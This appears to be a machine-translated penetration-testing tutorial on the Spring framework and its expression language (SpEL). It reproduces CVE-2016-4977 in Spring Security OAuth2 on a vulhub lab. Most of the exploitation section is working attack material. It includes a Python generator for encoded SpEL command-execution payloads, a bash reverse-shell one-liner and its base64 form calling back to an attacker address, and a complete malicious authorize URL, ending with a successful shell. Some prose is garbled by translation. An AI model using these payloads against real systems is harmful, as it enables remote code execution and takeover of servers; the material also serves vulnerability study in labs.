Introduction of the Spring
Spring is a lightweight open source framework for Java EE programming. The framework was first proposed in 2002 by a programmer named Rod Johnson and was subsequently created to solve the problem of loose coupling between the business logic layer and other layers in enterprise programming development. So it will be interface oriented programming thought throughout the whole system application, to achieve agile development of the application framework. One of the main advantages of the framework is its layered architecture, which allows consumers to choose which components to use while providing an integrated framework for J2EE application development.
Spring Expression Language (SpEL) was introduced with the release of Spring 3.0 RC1 in September 2009. Analogies to the Struts2 framework show that OGNL is responsible for most of the security vulnerabilities. In particular, remote command execution bugs have led to Struts2’s growing unpopularity.
Therefore, Spring’s introduction of SpEL inevitably increases security risks. In fact, several Spring Cves have been associated with it in the past, such as CVE-2017-8039, CVE-2017-4971, CVE-2016-5007, CVE-2016-4977, etc.
What is SpEL
Spring Expression Language (SpEL) is an Expression Language based on Spring. Similar to Struts OGNL, SpEL can dynamically execute some operations or even some instructions at runtime, similar to Java reflection function. In terms of usage methods, there are three categories: directly used in annotations, directly used in XML files and directly used in code blocks.
The principles of SpEL are as follows
-
Expression: can be thought of as the content of the string passed in
-
Parser: Parses strings into expression content
-
Context: The context in which the expression object is executed
-
Root and Active context objects: The root object is the default active context object, and the active context object represents the object on which the current expression operates
Spring Framework Features
1. Look at the small ico icon for the Web application, which is a small green leaf
2. Read the error page. If the default error page is not fixed, it looks like this
3. Wappalyzer plugin recognition
4. The f12 see X – Application – head of the Context
Local Environment Construction
Install the IDEA
Website to download the installation package: www.jetbrains.com/idea/downlo…
Select the commercial version here, free trial 30 days
Installation directory Default
Don’t worry about the error, click OK, always default next step
Double-click the icon below
Choose to Download the SDK
Choose jdk1.8
Point next
Click on the Spring Web
Waiting for the installation
Click launch in the upper right corner to see the default port 8080
The access is successful and the deployment is successful
The environment of P Cow vulhub range is used for building the reproduced environment here.
Spring Penetration Summary
1.Spring Security OAuth2 Remote command Execution (CVE-2016-4977)
Vulnerability profile
Spring Security OAuth2 is a module that provides Security authentication support for the Spring framework. If Spring Security OAuth2 handles authentication requests using whitelabel views, the response_type parameter will be executed as Spring SpEL. An attacker can be authorized to trigger a remote code execution vulnerability by constructing a response_type value, that is, by constructing a malicious SpEL expression. Therefore, this vulnerability can only be exploited under the premise of knowing the account password.
Affects version
2.0.0-2.0.9
1.0.0-1.0.5
Copy the code
Vulnerability validation
Start the loopholes
To access the url
Enter the following vulnerability test URL:
http://192.168.173.144:8080/oauth/authorize?response_type=$} of {2 * 2 & client_id = acme&scope = openid&redirect _uri = http://testCopy the code
Enter the user name and password admin:admin. In the return result, you can see that the value is successfully calculated as 2*2=4
The page returns that executes the SpEL expression we entered, which can be viewed as an injection of the SpEL expression. Now that the expression is executed, we can consider the possibility of code injection.
Vulnerability emersion
Take a look at vulhub’s POC at github.com/vulhub/vulh…
#! /usr/bin/env python message = input('Enter message to encode:') poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0]) for ch in message[1:]: poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}' print(poc)Copy the code
As you can see, the POC modifies the input command, converting each string of the command to ASCII with the toString () method and passing in exec execution with concat concatenation.
Rebound in the shell:
The runtime does not support pipe characters, redirection, whitespace, and pipe characters, all of which can cause errors in online payloads. www.jackson-t.ca/runtime-exe…
Bash - > I & / dev/TCP / 192.168.173.133/1234 0 > &1 bash - c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}Copy the code
Generate poc
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)) .concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character) .toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lan g.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).con cat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toSt ring(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Ch aracter).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat( T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString( 65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Charact er).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java. lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).c oncat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).to String(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.C haracter).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T (java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString( 67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Charact er).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java. lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).c oncat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toS tring(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.C haracter).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat( T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString (77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Charac ter).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(jav a.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)) .concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).t oString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lan g.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).con cat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toS tring(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.C haracter).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat( T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString( 100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Chara cter).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(ja va.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44 )).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character ).toString(125)))}Copy the code
Modified URL:
The location of the http://192.168.173.144:8080/oauth/authorize?response_type=${poc} & client_id = acme&scope = openid&redirect _uri = http://testCopy the code
http://192.168.173.144:8080/oauth/authorize?response_type=${T (Java. Lang. Runtime). The getRuntime (). The exec (T (Java. Lang. Character ).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.la ng.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).con cat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toStr ing(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Ch aracter).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat( T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString (70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Charac ter).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(jav a.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)). concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).to String(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang .Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat (T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString (51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Charac ter).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java .lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)). concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).t oString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang. Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat (T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString (77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Charac ter).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(ja va.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77) ).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character). toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lan g.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).conc at(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toStr ing(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.C haracter).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat( T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toStrin g(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Charac ter).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(ja va.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98 )).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character ).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.l ang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=ht tp://testCopy the code
Listening port:
Execute THE URL and see the page shown in the figure.
The shell rebound succeeded. Procedure